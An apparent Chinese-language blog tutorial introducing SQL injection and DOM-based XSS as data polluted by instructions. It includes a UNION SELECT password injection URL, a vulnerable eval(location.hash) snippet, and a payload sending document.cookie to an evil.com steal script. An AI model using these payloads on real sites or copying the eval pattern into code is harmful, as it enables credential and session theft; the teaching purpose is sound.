web前端黑客技术之数据与指令【sql注入、xss跨站脚本攻击】

首先,我们知道,用浏览器打开一个网站,呈现在我们面前的都是数据,服务器端存储的(数据库,内存,文件系统等)、客户端存储的(本地Cookies,flash Cookies等),传输中的(json数据,和xml数据等,)还有文本数据等等。

而在这些数据的交换过程中,如果出现数据流被污染了,就会出现非预期的出存储和传输,导致安全风险。


而存储,传输并呈现这些数据的时候,需要执行指令,指令简单的说就是要执行的命令行。而不同的指令的解释执行则由对应的环境完成,如:

select username,email,descl from users where id=1

这条mySql指令在数据库引擎环境中被解释,然后产生查询对于的数据。


当正常的数据内容被注入指令内容,在解释的过程中,如果注入指令能够被独立执行,那么攻击就发生了 

【1】SQL注入攻击的发生

select username,email,desc1 from users where id=1;
正如我们所看到的,这条sql语句中id的值是来自用户提交,并且用户通过访问链接来获取自身的帐号信息。当用户访问这样的连接时,后端便触发执行上面的查询语句,并返回对应的id号的用户数据给前端显示。一般情况下,铍铜的用户对id提交整形数值,而邪恶的攻击者会提交如下列形式的值

1 union select password,1,1 from users
组成的链接形式:

http://www.foo.com/user.php?id=1 union select password,1,1 from users

组成的SQL语句为:

select username,email,desc1 from users whrere id=1 union select password,1,1 from users

XSS跨站脚本攻击的发生

<script>
eval(location.hash.substr(1));
</script>

这里eval内置函数可以动态执行js语句,而location.hash()获取的是链接及URL中#及其后面的内容,如 ````.foo.com/info.html#callback。获取的十九#callback,而substr是用于截取字符,也就是#好后面内容。

而在这里,我们可以构建一个这样的攻击:

http://www.foo.com/info.html#new%20Image().src="http://www.evil.com/stea.1.php?c="+escape(document.cookie)

而在浏览器解析
eval(location.hash.substr(1));
则会变为

eval('new Image().src="http://www.evil.com/steal.php?c="+escape(document.cookie)')

而当被攻击者被诱骗访问了该连接时,cookies会话信息就会被盗取到黑客的网站上,一般情况下,黑客利用该cookies可以登录被攻击者的帐号,并进行越权操作。



【补充】

跨站攻击是发生在浏览器客户端,而SQL注入由于针对的对象是数据库,一般情况下,数据库都在服务端,而HTML5提供了一个i额客户端存储几只,在浏览器段,使用SQLite数据库保存客户端数据,该几只允许使用js脚本操作SQL语句,从而本地化数据库进行交互 



  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值